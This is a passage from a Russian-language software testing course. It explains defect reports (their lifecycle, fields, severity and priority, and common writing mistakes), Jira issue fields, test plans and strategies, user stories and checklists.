Приемочных Работ (Product Acceptance Plan) или иным документом, где описан набор действий, связанных с проведением приемочного тестирования, дата проведения, ответственные и т.д. Фаза приемочного тестирования длится до тех пор, пока заказчик не выносит решение об отправлении приложения на доработку или выдаче приложения. Схема классификации тестирования: Рис. 8.2. Схема, на которой все способы классификации показаны одновременно. Тема 9. Отчёты о дефектах Баг(дефект)— расхождение ожидаемого и фактического результата. Ожидаемый результат — поведение системы, описанное в требованиях. Фактический результат — поведение системы, наблюдаемое в процессе тестирования. Виды ошибок Рис. 9.1. Виды ошибок Ошибка — действие человека, приводящее к некорректным результатам. Этот термин очень часто используют как наиболее универсальный, описывающий любые проблемы («ошибка человека», «ошибка в коде», «ошибка в документации», «ошибка выполнения операции», «ошибка передачи данных», «ошибочный результат» и т.п.). Ошибки, сделанные программистом, известны как «Ошибка», что ,в свою очередь, приводит к ошибке в программе. Дефект — это отклонение от требований спецификаций или ожиданий пользователей. Другими словами, дефект является ошибкой в кодировании или логике, что приводит к сбою программы или созданию неправильного / неожиданного результата. Это могут быть аппаратные средства, программное обеспечение, сеть, производительность, формат или функциональность. Недостаток в компоненте или системе, способный привести к ситуации сбоя или отказа. Сбой — самоустраняющийся отказ или однократный отказ, устраняемый незначительным вмешательством оператора. Отказ — событие, заключающееся в нарушении работоспособного состояния объекта. Это неспособность системы или компонента выполнять требуемые функции в рамках определенных требований к производительности. Неисправность возникает при выполнении ошибки. Эти термины скорее относятся к теории надёжности и нечасто встречаются в повседневной работе тестировщика, но именно сбои и отказы являются тем, что тестировщик замечает в процессе тестирования (и отталкиваясь от чего, проводит исследование с целью выявить дефект и его причины). Отчёт о дефекте - это документ, описывающий ситуацию или последовательность действий приведшую к некорректной работе объекта тестирования, с указанием причин и ожидаемого результата. Цели написания отчёта о дефекте Как следует из самого определения, отчёт о дефекте пишется со следующими основными целями: • Предоставить информацию о проблеме — уведомить проектную команду и иных заинтересованных лиц о наличии проблемы, описать суть проблемы. • Приоритизировать проблему — определить степень опасности проблемы для проекта и желаемые сроки её устранения. • Содействовать устранению проблемы — качественный отчёт о дефекте не только предоставляет все необходимые подробности для понимания сути случившегося, но также может содержать анализ причин возникновения проблемы и рекомендации по исправлению ситуации. Тема 10. Жизненный цикл «бага» Отчёт о дефекте (и сам дефект вместе с ним) проходит определённые стадии жизненного цикла: • Обнаружен (submitted) — начальное состояние отчёта (иногда называется «Новый» (new)), в котором он находится сразу после создания. Некоторые средства также позволяют сначала создавать черновик (draft) и лишь потом публиковать отчёт. • Назначен (assigned) — в это состояние отчёт переходит с момента, когда кто-то из проектной команды назначается ответственным за исправление дефекта. Назначение ответственного может производится решением лидера команды разработки, коллегиально, по добровольному принципу, иным принятым в команде способом или выполняется автоматически на основе определённых правил. • Исправлен (fixed) — в это состояние отчёт переводит ответственный за исправление дефекта член команды после выполнения соответствующих действий по исправлению. • Проверен (verified) — в это состояние отчёт переводит тестировщик, удостоверившись, что дефект на самом деле был устранён. Как правило, такую проверку выполняет тестировщик, изначально написавший отчёт о дефекте. • Закрыт (closed) — состояние отчёта, означающее, что по данному дефекту не планируется никаких дальнейших действий. Здесь есть некоторые расхождения в жизненном цикле, принятом в разных инструментальных средствах управления отчётами о дефектах. • Открыт заново (reopened) — в это состояние (как правило, из состояния «Исправлен») отчёт переводит тестировщик, удостоверившись, что дефект попрежнему воспроизводится на билде, в котором он уже должен быть исправлен. • Рекомендован к отклонению (to be declined) — в это состояние отчёт о дефекте может быть переведён из множества других состояний, чтобы вынести на рассмотрение вопрос об отклонении отчёта по той или иной причине. Если рекомендация является обоснованной, то отчёт переводится в состояние «Отклонён». • Отклонён (declined) — в это состояние отчёт переводится в случаях, подробно описанных в пункте «Закрыт»: если средство управления отчётами о дефектах предполагает использование этого состояния вместо состояния «Закрыт» для тех или иных резолюций по отчёту. • Отложен (deferred) — в это состояние отчёт переводится в случае, если исправление дефекта в ближайшее время является нерациональным или не представляется возможным, однако есть основания полагать, что в обозримом будущем ситуация исправится (выйдет новая версия библиотеки, вернётся из отпуска специалист по необходимой технологии, изменятся требования заказчика и т.д.) Рис. 10.1. Жизненный цикл отчёта о дефекте Использование данных отчета о дефекте Информация по дефектам – это записи о просчетах в качестве, а значит – список возможностей для улучшения качества на ваших будущих проектах. Если вы собираете некую информацию о дефектах (например, после релиза или только на больших проектах), тогда, возможно, Вы захотите улучшить этот процесс. Информация о дефектах, которая может быть полезна для улучшения качества, включает следующие вопросы: • Что было не так? Решать нужно саму проблему, а не ее симптомы. Например, зацикливание - это симптом, а изменение индекса цикла - это проблема. • Когда была создана эта проблема? Какое именно действие при разработке явилось ее источником? Это была проблема в требованиях? Проектировании системы? Коде? Тестировании? • Когда проблема была выявлена? Может, она и не была сразу же устранена, но что нас интересует: сколько она существовала до того, как мы ее обнаружили? • Каким образом была найдена эта проблема? Способ обнаружения можно внедрить в постоянно используемую практику. • Можно ли было обнаружить ее раньше? Есть ли какой-либо процесс контроля качества, который мог бы ее выявить, будь он эффективнее? • Сколько стоило устранение этой проблемы? Этот момент очень легко недооценить. Убедитесь, что Вы учли процесс диагностики проблемы и всю работу по ее устранению, которую Вам пришлось сделать, включая ре-дизайн, переписывание кода, ре-компиляцию, переработку тестов, повторное тестирование, повторный релиз, выпуск заплатки, формирование отчета по дефекту, отчет по статусу проекта и т.д. (не забудьте еще возможные затраты на исправление подпорченной репутации на рынке ПО). • Какого рода была эта проблема? Когда у Вас огромное количество дефектов, то их категоризация облегчает анализ и обучение. Когда Вы анализируете информацию о дефектах, то ищите те дефекты, которые обнаруживаются регулярно, и те, затраты на устранение которых высоки. Вот как раз таких дефектов и нужно избегать в будущем (или, по крайней мере, устранять их на более ранней стадии разработки), именно такая тактика гарантированно будет способствовать улучшению качества. Атрибуты отчёта о дефекте В зависимости от инструментального средства управления отчётами о дефектах внешний вид их записи может немного отличаться, могут быть добавлены или убраны отдельные поля, но концепция остаётся неизменной. • Идентификатор (identifier) представляет собой уникальное значение, позволяющее однозначно отличить один отчёт о дефекте от другого и используемое во всевозможных ссылках. В общем случае идентификатор отчёта о дефекте может представлять собой просто уникальный номер, но (если позволяет инструментальное средство управления отчётами) может быть и куда сложнее: включать префиксы, суффиксы и иные осмысленные компоненты, позволяющие быстро определить суть дефекта и часть приложения (или требований), к которой он относится. • Краткое описание (summary) должно в предельно лаконичной форме давать исчерпывающий ответ на вопросы «Что произошло?» ,«Где это произошло?», «При каких условиях это произошло?». Например: «Отсутствует логотип на странице приветствия, если пользователь является администратором». Что произошло? Отсутствует логотип. Где это произошло? На странице приветствия. При каких условиях это произошло? Если пользователь является администратором. • Подробное описание (description) представляет в развёрнутом виде необходимую информацию о дефекте, а также (обязательно!) описание фактического результата, ожидаемого результата и ссылку на требование (если это возможно). В отличие от краткого описания, которое, как правило, является одним предложением, здесь можно и нужно давать подробную информацию. Если одна и та же проблема (вызванная одним источником) проявляется в нескольких местах приложения, можно в подробном описании перечислить эти места. • Шаги по воспроизведению (steps to reproduce, STR) описывают действия, которые необходимо выполнить для воспроизведения дефекта. Это поле похоже на шаги тест-кейса, за исключением одного важного отличия: здесь действия прописываются максимально подробно, с указанием конкретных вводимых значений и самых мелких деталей, т.к. отсутствие этой информации в сложных случаях может привести к невозможности воспроизведения дефекта. • Воспроизводимость (reproducibility) показывает, при каждом ли прохождении по шагам воспроизведения дефекта удаётся вызвать его проявление. Это поле принимает всего два значения: всегда (always) или иногда (sometimes). Можно сказать, что воспроизводимость «иногда» означает, что тестировщик не нашёл настоящую причину возникновения дефекта. Тестировщику нужно потратить много времени на то, чтобы удостовериться в наличии дефекта (т.к. однократный сбой в работе приложения мог быть вызван огромным количеством посторонних причин). Разработчику тоже нужно потратить время, чтобы добиться проявления дефекта и убедиться в его наличии. После внесения исправлений в приложение разработчик фактически должен полагаться только на свой профессионализм, т.к. даже многократное прохождение по шагам воспроизведения в таком случае не гарантирует, что дефект был исправлен (возможно, через ещё 10–20 повторений он бы проявился). • Важность (severity) показывает степень ущерба, который наносится проекту существованием дефекта. В общем случае выделяют следующие градации важности: o критическая (critical) — существование дефекта приводит к масштабным последствиям катастрофического характера: потеря данных, раскрытие конфиденциальной информации, нарушение ключевой функциональности приложения и т.д. o высокая (major) — существование дефекта приносит ощутимые неудобства многим пользователям в рамках их типичной деятельности: недоступность вставки из буфера обмена, неработоспособность общепринятых клавиатурных комбинаций, необходимость перезапуска приложения при выполнении типичных сценариев работы. o средняя (medium) — существование дефекта слабо влияет на типичные сценарии работы пользователей, и/или существует обходной путь достижения цели, например: диалоговое окно не закрывается автоматически после нажатия кнопок «OK»/«Cancel», при распечатке нескольких документов подряд не сохраняется значение поля «Двусторонняя печать», перепутаны направления сортировок по некоему полю таблицы. o низкая (minor) — существование дефекта редко обнаруживается незначительным процентом пользователей и почти не влияет на их работу, например: опечатка в глубоко вложенном пункте меню настроек, некое окно сразу при отображении расположено неудобно (нужно перетянуть его в удобное место), неточно отображается время до завершения операции копирования файлов. • Срочность (priority) показывает, как быстро дефект должен быть устранён. В общем случае выделяют следующие градации срочности: o наивысшая (ASAP, as soon as possible) срочность указывает на необходимость устранить дефект настолько быстро, насколько это возможно. В зависимости от контекста «настолько быстро, насколько возможно» может варьироваться от «в ближайшем билде» до единиц минут. o высокая (high) срочность означает, что дефект следует исправить вне очереди, т.к. его существование или уже объективно мешает работе, или начнёт создавать такие помехи в самом ближайшем будущем. o обычная (normal) срочность означает, что дефект следует исправить в порядке общей очерёдности. Такое значение срочности получает большинство дефектов. o низкая (low) срочность означает, что, в обозримом будущем, исправление данного дефекта не окажет существенного влияния на повышение качества продукта. • Фактический результат (actual result) - результат, полученный после прохождения шагов к воспроизведению. • Ожидаемый результат (expected result) - описывает ожидаемое поведение ПО после прохождения шагов к воспроизведению. • Симптом (symptom) — позволяет классифицировать дефекты по их типичному проявлению. Не существует никакого общепринятого списка симптомов. Более того, далеко не в каждом инструментальном средстве управления отчётами о дефектах есть такое поле, а там, где оно есть, его можно настроить. В качестве примера есть следующие значения симптомов дефекта: Косметический дефект (cosmetic flaw), Повреждение/потеря данных (data corruption/loss), Проблема в документации (documentation issue), Некорректная операция (incorrect operation), Проблема инсталляции (installation problem), Ошибка локализации (localization issue), Нереализованная функциональность (missing feature), Проблема масштабируемости (scalability), Низкая производительность (low performance), Крах системы (system crash), Неожиданное поведение (unexpected behavior), Недружественное поведение (unfriendly behavior), Расхождение с требованиями (variance from specs), Предложение по улучшению (enhancement). • Комментарий (comments, additional info) — может содержать любые полезные для понимания и исправления дефекта данные. Иными словами, сюда можно писать всё то, что нельзя писать в остальные поля. • Приложения (attachments) — представляет собой не столько поле, сколько список прикреплённых к отчёту о дефекте приложений (копий экрана, вызывающих сбой файлов и т.д.) Свойства качественных отчётов о дефектах Отчёт о дефекте может оказаться некачественным (а следовательно, вероятность исправления дефекта понизится), если в нём нарушено одно из следующих свойств: • Тщательное заполнение всех полей точной и корректной информацией. Нарушение этого свойства происходит по множеству причин: недостаточный опыт тестировщика, невнимательность, лень и т.д. • Правильный технический язык. Это свойство в равной мере относится и к требованиям, и к тест-кейсам, и к отчётам о дефектах — к любой документации, а потому не будем повторяться. • Специфичность описания шагов. Говоря о тест-кейсах, мы подчёркивали, что в их шагах стоит придерживаться золотой середины между специфичностью и общностью. В отчётах о дефектах предпочтение, как правило, отдаётся специфичности по очень простой причине: нехватка какой-то мелкой детали может привести к невозможности воспроизведения дефекта. Потому, если у вас есть хоть малейшее сомнение в том, важна ли какая-то деталь, считайте, что она важна. • Отсутствие лишних действий и/или их длинных описаний. Чаще всего, это свойство подразумевает, что не нужно в шагах по воспроизведению дефекта долго и по пунктам расписывать то, что можно заменить одной фразой. • Отсутствие дубликатов. Когда в проектной команде работает большое количество тестировщиков, то может возникнуть ситуация, при которой один и тот же дефект будет описан несколько раз разными людьми. • Очевидность и понятность. Описывайте дефект так, чтобы у читающего Ваш отчёт не возникло ни малейшего сомнения в том, что это действительно дефект. Лучше всего это свойство достигается за счёт тщательного объяснения фактического и ожидаемого результата, а также указания ссылки на требование в поле «Подробное описание». • Прослеживаемость. Из содержащейся в качественном отчёте о дефекте информации должно быть понятно, какую часть приложения, какие функции и какие требования затрагивает дефект. Лучше всего это свойство достигается правильным использованием возможностей инструментального средства управления отчётами о дефектах: указывайте в отчёте о дефекте компоненты приложения, ссылки на требования, тест-кейсы, смежные отчёты о дефектах (похожих дефектах; зависимых и зависящих от данного дефектах), расставляйте теги и т.д. • Отдельные отчёты для каждого нового дефекта. Существует два незыблемых правила: o в каждом отчёте описывается ровно один дефект (если один и тот же дефект проявляется в нескольких местах, то эти проявления перечисляются в подробном описании). o при обнаружении нового дефекта создаётся новый отчёт. Нельзя для описания нового дефекта править старые отчёты, переводя их в состояние «открыт заново». • Соответствие принятым шаблонам оформления и традициям. Как и в случае с тесткейсами, с шаблонами оформления отчётов о дефектах проблем не возникает: они определены имеющимся образцом или экранной формой инструментального средства управления жизненным циклом отчётов о дефектах. Но, что касается традиций, которые могут различаться даже в разных командах в рамках одной компании, единственный совет: почитайте уже готовые отчёты о дефектах, перед тем как писать свои. Это может сэкономить вам много времени и сил. Логика создания эффективных отчётов о дефектах При создании отчёта о дефекте рекомендуется следовать следующему алгоритму: 1. Обнаружить дефект. 2. Понять суть проблемы. 3. Воспроизвести дефект. 4. Проверить наличие описания найденного вами дефекта в системе управления дефектами. 5. Сформулировать суть проблемы в виде «что сделали, что получили, что ожидали получить». 6. Заполнить поля отчёта, начиная с подробного описания. 7. После заполнения всех полей внимательно перечитать отчёт, исправить неточности и добавить подробности. 8. Ещё раз перечитать отчёт, т.к. в пункте 6 вы точно что-то упустили. Типичные ошибки при написании отчётов о дефектах Ошибки оформления и формулировок: • Плохие краткие описания (summary). Формально, эта проблема относится к оформлению, но фактически она куда опаснее: чтение отчёта о дефекте и осознание сути проблемы начинается именно с краткого описания. Суть отчёта о дефекте: ответить на вопросы «что?», «где?», «при каких условиях?». • Идентичные краткие и подробные описания (summary и description). Да, изредка бывают настолько простые дефекты, что для них достаточно одного краткого описания (например, «опечатка в имени пункта главного меню “File” (сейчас “Fille”)»), но, если дефект связан с неким более-менее сложным поведением приложения, стоит продумать как минимум три способа описания проблемы: o краткий для поля «краткое описание» (его лучше формулировать в самом конце размышлений); o подробный для поля «подробное описание» (поясняющий и расширяющий информацию из «краткого описания»); o ещё один краткий для последнего шага в шагах по воспроизведению дефекта. • Отсутствие в подробном описании явного указания фактического результата, ожидаемого результата и ссылки на требование, если они важны, и их представляется возможным указать. • Игнорирование кавычек, приводящее к искажению смысла. Как Вы поймёте такое краткое описание, как «запись исчезает при наведении мыши»? Какая-то запись исчезает при наведении мыши? А вот и нет. Оказывается, «поле “Запись” исчезает при наведении мыши». Даже если не дописать слово «поле», кавычки подскажут, что имеется в виду имя собственное, т.е. название некоего элемента. • Общие проблемы с формулировками фраз на русском и английском языках. • Лишние пункты в шагах воспроизведения. • Копии экрана в виде «копий всего экрана целиком». Чаще всего нужно сделать копию какого-то конкретного окна приложения, а не всего экрана, тогда поможет Alt+PrintScreen. Даже если важно захватить больше, чем одно окно, практически любой графический редактор позволяет отрезать ненужную часть картинки. • Копии экрана, на которых не отмечена проблема. Если обвести проблемную область красной линией, то это в разы повысит скорость и простоту понимания сути проблемы в большинстве случаев. • Откладывание написания отчёта «на потом». Стремление сначала найти побольше дефектов, а уже потом их описывать приводит к тому, что какие-то важные детали (а иногда и сами дефекты!) забываются. Если «на потом» измеряется не минутами, а часами или даже днями, то проектная команда не получает важную информацию вовремя. Вывод простой: описывайте дефект сразу же, как только обнаружили его. • Пунктуационные, орфографические, синтаксические и им подобные ошибки. Логические ошибки: • Выдуманные дефекты. Одной из наиболее обидных для тестировщика причин отклонения отчёта о дефекте является так называемое «описанное поведение не является дефектом» («not a bug»), когда по какой-то причине корректное поведение приложения описывается как ошибочное. • Отнесение расширенных возможностей приложения к дефектам. Самым ярким примером этого случая является описание как дефекта того факта, что приложение запускается под операционными системами, не указанными явно в списке поддерживаемых. Лишь в очень редких случаях при разработке неких системных утилит и тому подобного ПО, крайне зависящего от версии ОС и потенциально способного «поломать» неподдерживаемую, это можно считать ошибкой (с точки зрения общего здравого смысла ,такое приложение действительно должно показывать предупреждение или даже сообщение об ошибке и завершать работу на неподдерживаемой ОС). • Неверно указанные симптомы. Это не смертельно и всегда можно подправить, но, если изначально отчёты будут сгруппированы по симптомам, это создаёт множество раздражающих неудобств. • Чрезмерно заниженные (или завышенные) важность и срочность. С этой бедой достаточно эффективно борются проведением общих собраний и пересмотром отчётов о дефектах силами всей команды (или хотя бы нескольких человек), но, если эти показатели занижены именно чрезмерно, есть высокая вероятность, что пройдёт очень много времени, прежде чем до такого отчёта просто дойдёт очередь на следующих собраниях по пересмотру. • Концентрация на мелочах в ущерб главному. Здесь стоит упомянуть хрестоматийный пример, когда тестировщик нашёл проблему, приводящую к краху приложения с потерей пользовательских данных, но записал её как косметический дефект (в сообщении об ошибке, которое «перед смертью» показывало приложение, была опечатка). Всегда думайте о том, как произошедшая с приложением неприятность повлияет на пользователей, какие сложности они могут из-за этого испытать, насколько это для них важно, тогда шанс увидеть реальную проблему резко повышается. • Техническая безграмотность. Представьте себе такое краткое описание (оно же идентично продублировано в подробном, т.е. это и есть всё описание дефекта): «Количество найденных файлов не соответствует реальной глубине вложенности каталога». А что должно? Это ведь почти то же самое, что «цвет кошки не соответствует её размеру». • Указание в шагах воспроизведения неважной для воспроизведения ошибки информации. Стремление прописать всё максимально подробно иногда принимает нездоровую форму, когда в отчёт о дефекте начинает попадать чуть ли не информация о погоде за окном и курс национальной валюты. • Отсутствие в шагах воспроизведения информации, важной для воспроизведения дефекта. • Игнорирование «последовательных дефектов». Иногда один дефект является следствием другого (допустим, файл повреждается при передаче на сервер, а затем приложение некорректно обрабатывает этот повреждённый файл). Да, если файл будет передан без повреждений, то второй дефект может не проявиться. Но может и проявиться в другой ситуации, т.к. проблема никуда не исчезла: приложение некорректно обрабатывает повреждённые файлы. Потому стоит описать оба дефекта. Тема 11. Инструменты управления отчётами о дефектах Инструментальных средств управления отчётами о дефектах (bug tracking system, defect management tool) очень много, к тому же, многие компании разрабатывают свои внутренние средства решения этой задачи. Зачастую такие инструментальные средства являются частями инструментальных средств управления тестированием. Общий набор функций багтрекинговых систем: • создание отчётов о дефектах, управление их жизненным циклом с учётом контроля версий, прав доступа и разрешённых переходов из состояния в состояние; • сбор, анализ и предоставление статистики в удобной для восприятия человеком форме; • рассылка уведомлений, напоминаний и иных артефактов соответствующим сотрудникам; • организация взаимосвязей между отчётами о дефектах, тест-кейсами, требованиями и анализ таких связей с возможностью формирования рекомендаций; • подготовка информации для включения в отчёт о результатах тестирования; • интеграция с системами управления проектами. Поля отчёта о дефекте в Jira • Project (проект) позволяет указать, к какому проекту относится дефект. • Issue type (тип записи/артефакта) позволяет указать, что именно представляет собой создаваемый артефакт. JIRA позволяет создавать не только отчёты о дефектах, но и множество других артефактов, типы которых можно настраивать. • Improvement (предложение по улучшению) — предложение на улучшение компонента, функциональности. • New feature (новая особенность) — описание новой функциональности, нового свойства, новой особенности продукта. • Task (задание) — некое задание для выполнения тем или иным участником проектной команды. • Custom issue (произвольный артефакт) — как правило, это значение при настройке JIRA удаляют, заменяя своими вариантами, или переименовывают в Issue. • Summary (краткое описание) позволяет указать краткое описание дефекта. • Priority (срочность) позволяет указать срочность исправления дефекта. По умолчанию JIRA предлагает следующие варианты: o Highest (самая высокая срочность). o High (высокая срочность). o Medium (обычная срочность). o Low (низкая срочность). o Lowest (самая низкая срочность). Обратите внимание: по умолчанию поля severity (важность) нет. Но его можно добавить. • Components (компоненты) содержит перечень компонентов приложения, затронутых дефектом (но иногда здесь перечисляют симптомы дефектов). • Affected versions (затронутые версии) содержит перечень версий продукта, в которых проявляется дефект. • Environment (окружение) содержит описание аппаратной и программной конфигурации, в которой проявляется дефект. • Description (подробное описание) позволяет указать подробное описание дефекта. • Original estimate (начальная оценка времени исправления) позволяет указать начальную оценку того, сколько времени займёт устранение дефекта. • Remaining estimate (расчётное остаточное время исправления) показывает, сколько времени осталось от начальной оценки. • Story points (оценочные единицы) позволяет указать сложность дефекта (или иного артефакта) в специальных оценочных единицах, принятых в гибких методологиях управления проектами. • Labels (метки) содержит метки (теги, ключевые слова), по которым можно группировать и классифицировать дефекты и иные артефакты. • Epic/Theme (история/область) содержит перечень высокоуровневых меток, описывающих относящиеся к дефекту крупные области требований, крупные модули приложения, крупные части предметной области, объёмные пользовательские истории и т.д. • External issue id (идентификатор внешнего артефакта) позволяет связать отчёт о дефекте или иной артефакт с внешним документом. • Epic link (ссылка на историю/область) содержит ссылку на историю/область, наиболее близко относящуюся к дефекту. • Has a story/s (истории) содержит ссылки и/или описание пользовательских историй, связанных с дефектом (как правило, здесь приводятся ссылки на внешние документы). • Tester (тестировщик) содержит имя автора описания дефекта. • Additional information (дополнительная информация) содержит полезную дополнительную информацию о дефекте. • Sprint (спринт) содержит номер спринта (2–4-недельной итерации разработки проекта в терминологии гибких методологий управления проектами), во время которого был обнаружен дефект. Многие дополнительные поля и возможности становятся доступными при других операциях с дефектами (просмотром или редактированием созданного дефекта, просмотре отчётов и т.д.) Тема 12. Тестовая документация Создание тестовой документации является вторым этапом жизненного цикла ПО. Тестовая документация включает в себя: • тест план; • тестовая стратегия; • чек-лист; • тестовый сценарий; • тестовый комплект; • пользовательская история (User Story); • отчет о дефекте. Тест план (Test Plan) - это документ, описывающий весь объем работ по тестированию, начиная с описания объекта, стратегии, расписания, критериев начала и окончания тестирования, до необходимого в процессе работы оборудования, специальных знаний, а также оценки рисков с вариантами их разрешения. Хороший тест план должен описывать следующее: 1. Что надо тестировать? Описание объекта тестирования: системы, приложения, оборудования. 2. Что будете тестировать? Список функций и описание тестируемой системы и её компонент в отдельности. 3. Как будете тестировать? Стратегия тестирования, а именно: виды тестирования и их применение по отношению к объекту тестирования. 4. Когда будете тестировать? Последовательность проведения работ: подготовка (Test Preparation), тестирование (Testing), анализ результатов (Test Result Analisys) в разрезе запланированных фаз разработки. Критерии начала тестирования: • готовность тестовой платформы (тестового стенда); • законченность разработки требуемого функционала; • наличие всей необходимой документации. Критерии окончания тестирования - результаты тестирования удовлетворяют критериям качества продукта: • требования к количеству открытых багов выполнены; • выдержка определенного периода без изменения исходного кода приложения Code Freeze (CF); • выдержка определенного периода без открытия новых багов Zero Bug Bounce (ZBB). Преимущества тест плана: 1. Возможность приоритезации задач по тестированию. 2. Построение стратегии тестирования, согласованной со всей командой. 3. Возможность вести учет всех требуемых ресурсов (как технических, так и человеческих). 4. Планирование использования ресурсов на тестирование. 5. Просчет рисков, возможных при проведении тестирования. Составляющей частью планирования тестирования (как отдельного документа или же процесса планирования в целом) является стратегия тестирования. Стратегия может быть: 1. Частью общего тест-плана. 2. Отдельным документом. Тестовая стратегия определяет то, как мы тестируем продукт. Это набор мыслей и идей, которые направляют процесс тестирования. В стратегии тестирования описывают: 1. Тестовую среду. 2. Анализ рисков проекта. 3. Инструменты, которые будут использовать, чтобы провести автоматизированное тестирование и для других целей. 4. План действий при непредвиденных обстоятельствах. Стратегия может быть представлена как в виде традиционно расписанного документа, так и в более наглядном формате, например, используя таблицу: В общем, план тестирования устанавливает цели процесса тестирования, он определяет, что будет проверяться, а стратегия тестирования описывает, как достичь целей, поставленных в плане тестирования. Пользовательские истории Пользовательские истории (User Story) — способ описания требований к разрабатываемой системе, сформулированных как одно или более предложений на повседневном или деловом языке пользователя. Пользовательские истории используются гибкими методологиями разработки программного обеспечения для спецификации требований. User Story — это короткая формулировка намерения, описывающая что-то, что система должна делать для пользователя. Пользовательская история фиксирует короткую формулировку функции на карточке или, возможно, с помощью онлайн-средства. Примеры: • Залогиниться в мой портал мониторинга энергопотребления. • Посмотреть ежедневный уровень потребления. • Проверить мой текущий тариф. Несмотря на то, что стори играют в огромной степени роль, ранее принадлежавшую спецификациям требований (SRS), сценариям использования и т. п., они все же ощутимо отличаются рядом тонких, но критических нюансов: • Они не являются детальным описанием требований (то-есть того, что система должна бы делать), а представляют собой скорее обсуждаемое представление намерения (нужно сделать что-то вроде этого). • Они являются короткими и легко читаемыми, понятными разработчикам, стейкхолдерам и пользователям. • Они представляют собой небольшие инкременты ценной функциональности, которая может быть реализована в рамках нескольких дней или недель. • Они относительно легко поддаются эстимированию, таким образом, усилия, необходимые для реализации, могут быть быстро определены. • Они не занимают огромных, громоздких документов, а скорее организованы в списки, которые легче упорядочить и переупорядочить по ходу поступления новой информации. • Они не детализированы в самом начале проекта, а уже более детально разрабатываются «точно в срок», избегая таким образом слишком ранней определенности, задержек в разработке, нагромождения требований и чрезмерно ограниченной формулировки решения. • Они требуют минимум или вовсе не требуют сопровождения и могут быть безопасно отменены после имплементации. Структура юзер стори Текст самой юзер стори должен объяснять роль/действия юзера в системе, его потребность и профит, который юзер получит после того как история случится. К примеру: Как, <роль/персона юзера>, я <что-то хочу получить>, <с такой-то целью> . Правила на написание User Story 1. Есть один actor. 2. Есть одно действие. 3. Есть одна ценность / value / impact. Actor Вы выделили персоны, или у вас есть роли, и вы легко их вписываете в начало истории. Есть одна проблема. Убери часть истории про актера. Если история ничего при этом не потеряла - значит эта часть бесполезна. Джеф Паттон предлагает следующее: 1. Разделите всех актеров на группы. Целевая группа, важная группа, менее важная группа и тп. 2. Дайте уникальные названия актерам в этих группах. Даже если в системе у них будет одинаковые роли "Пользователя системы". 3. Пишите истории с точки зрения этих актеров указывая их уникальные названия. 4. В результате вы сможете визуально увидеть какие истории необходимы для актеров целевой группы, какие - для каждой группы и тп. Вы не просто можете использовать это при разборе истории и выстраивания анализа вокруг указанного актера. Вы сможете более правильно выстроить приоритет, так как истории актеров целевой группы для нас более важны. Действие Это суть истории, "что нужно сделать". Что можно улучшить. Действие должно быть одно - основное. Нет смысла описывать" авторизуется и выполняется поиск" или "указывает параметры поиска и выполняет поиск". Укажите то действие, что вам действительно нужно. Важно описывать историю на уровне "ЧТО?" делает, а не "КАК?". Это главное в истории. Опишите проблему, а не ее решение. Лучше вы потом с командой это обсудите и найдете более оптимальное "КАК" - решение. Ценность Главная проблема с User Story. Вы всегда знаете первую часть истории, но всегда сложно указать для чего это делается. Но это Scrum, все должно быть указано как User story согласно шаблону, и потому вы пишите "чтобы ...". Уберите эту часть из истории. Если ничего не потеряли - значит формализация ценности в истории была бесполезна. Что же можно сделать? Отказаться от формулировки "чтобы". Для каких-то историй можно указать ценность истории в таком формате, но не для большинства. Перейти с понятия ценности (value) на влияние (impact). Ваша история не обязательна должна иметь ценность, но обязательно должна оказывать влияние на кого актера, что указан в истории. А уже это влияние ведет в конечном итоге к цели, которая имеет для вас ценность. Представим что вы создали историю - "Как инвестиционный аналитик я получаю отчет №17 об инвестициях чтобы БЫСТРЕЕ принять решение". У меня Аcceptance Сriteria - это метрика на value в US. Как померить такой value? Как понять что аналитик принял решение быстрее? Как вы поймете в конце что история выполнена? Переделаем историю на влияние - "Как инвестиционный аналитик я получаю отчет №17 об инвестициях БЫСТРЕЕ". То есть сейчас этот отчет формируется за 60 сек. Вы указываете в АС что отчет должен формироваться за 15 сек. В конце понятно выполнено ли АС, понятно какие влияние вы оказали на работу аналитика. Практические советы по написанию пользовательских историй • Лучше написать много историй поменьше, чем несколько громоздких. • Каждая история в идеале должна быть написана избегая технического жаргона — чтобы клиент мог приоритезировать истории и включать их в итерации. • Истории должны быть написаны таким образом, чтобы их можно было протестировать • Тесты должны быть написаны до кода. • Как можно дольше стоит избегать UI. История должна выполняться без привязки к конкретным элементам. • Каждая история должна содержать оценку. • История должна иметь концовку — т.е. приводить к конкретному результату. • История должна вмещаться в итерацию. Пример юзер стори: продолжение: Тема 13. Чек-листы Чек-лист - набор идей по тестированию, разработке, планированию и управлению. А также, это перечень формализованных тестовых случаев в удобном для проведения проверок виде. Тестовые случаи в чек-листе не должны быть зависимыми друг от друга. Обязательно должен содержать в себе следующую информацию: • идея проверок; • набор входных данных; • ожидаемые результаты; • булевая отметка о прохождении/непрохождении тестового случая; • булевая отметка о совпадении/несовпадении фактического и ожидаемого результата по каждой проверке. Может также содержать шаги для проведения проверки, данные об особенностях окружения и прочую информацию необходимую для проведения проверок. Цель – обеспечить стабильность покрытия требований проверками необходимыми и достаточными для заключения о соответствии им продукта. Особенностью является то, что чек-листы компонуются теми тестовыми случаями, которые показательны для определенного требования. Чек-лист, чаще всего, представляет собой обычный и привычный нам список, который может быть: 1. Списком, в котором последовательность пунктов не имеет значения (например, список значений некоего поля); 2. Списком, в котором последовательность пунктов важна (например, шаги в краткой инструкции). 3. Структурированным (многоуровневым) списком (вне зависимости от учёта последовательности пунктов), что позволяет отразить иерархию идей. Чек-лист должен обладать рядом важных свойств: • Логичность.Чек-лист пишется не «просто так», а на основе целей и для того, чтобы помочь в достижении этих целей. К сожалению, одной из самых частых и опасных ошибок при составлении чек-листа является превращение его в свалку мыслей, которые никак не связаны друг с другом. • Последовательность и структурированность. Со структурированностью всё достаточно просто - она достигается за счёт оформления чек-листа в виде многоуровневого списка. Что касается последовательности, то, даже в том случае, когда пункты чек-листа не описывают цепочку действий, человеку всё равно удобнее воспринимать информацию в виде неких небольших групп идей, переход между которыми является понятным и очевидным (например, сначала можно прописать идеи простых позитивных тест-кейсов, потом идеи простых негативных тест-кейсов, потом постепенно повышать сложность тест-кейсов, но не стоит подавать эти идеи вперемешку). • Полнота и неизбыточность. Чек-лист должен представлять собой аккуратную «сухую выжимку» идей, в которых нет дублирования ( которые часто появляется из-за разных формулировок одной и той же идеи) и, в то же время ничто важное не упущено. Правила составления чек-листов: • Одна операция. • Пункты чек-листа - это минимальные полные операции. Например, заказать изготовление визиток и доставить визитки в офис - это 2 разных операции. Поэтому в чек-листе они отображаются отдельными пунктами: 